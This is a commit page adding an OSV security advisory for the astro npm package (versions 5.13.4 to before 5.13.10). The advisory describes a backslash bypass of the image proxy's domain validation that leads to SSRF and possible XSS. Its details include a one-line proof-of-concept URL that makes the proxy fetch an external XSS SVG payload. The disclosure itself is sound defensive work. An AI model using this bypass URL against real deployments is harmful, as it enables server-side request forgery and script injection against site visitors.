Skip to content

Commit 98fe1eb

Browse files
1 parent 7eda60c commit 98fe1eb

File tree

1 file changed

+53
-0
lines changed

1 file changed

+53
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qcpr-679q-rhm2",
4+
"modified": "2025-10-28T17:45:05Z",
5+
"published": "2025-10-28T17:45:04Z",
6+
"aliases": [
7+
"CVE-2025-59837"
8+
],
9+
"summary": "Astro's bypass of image proxy domain validation leads to SSRF and potential XSS",
10+
"details": "### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)",
11+
"severity": [],
12+
"affected": [
13+
{
14+
"package": {
15+
"ecosystem": "npm",
16+
"name": "astro"
17+
},
18+
"ranges": [
19+
{
20+
"type": "ECOSYSTEM",
21+
"events": [
22+
{
23+
"introduced": "5.13.4"
24+
},
25+
{
26+
"fixed": "5.13.10"
27+
}
28+
]
29+
}
30+
]
31+
}
32+
],
33+
"references": [
34+
{
35+
"type": "WEB",
36+
"url": "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2"
37+
},
38+
{
39+
"type": "PACKAGE",
40+
"url": "https://github.com/withastro/astro"
41+
}
42+
],
43+
"database_specific": {
44+
"cwe_ids": [
45+
"CWE-79",
46+
"CWE-918"
47+
],
48+
"severity": "HIGH",
49+
"github_reviewed": true,
50+
"github_reviewed_at": "2025-10-28T17:45:04Z",
51+
"nvd_published_at": null
52+
}
53+
}

0 commit comments

Comments
 (0)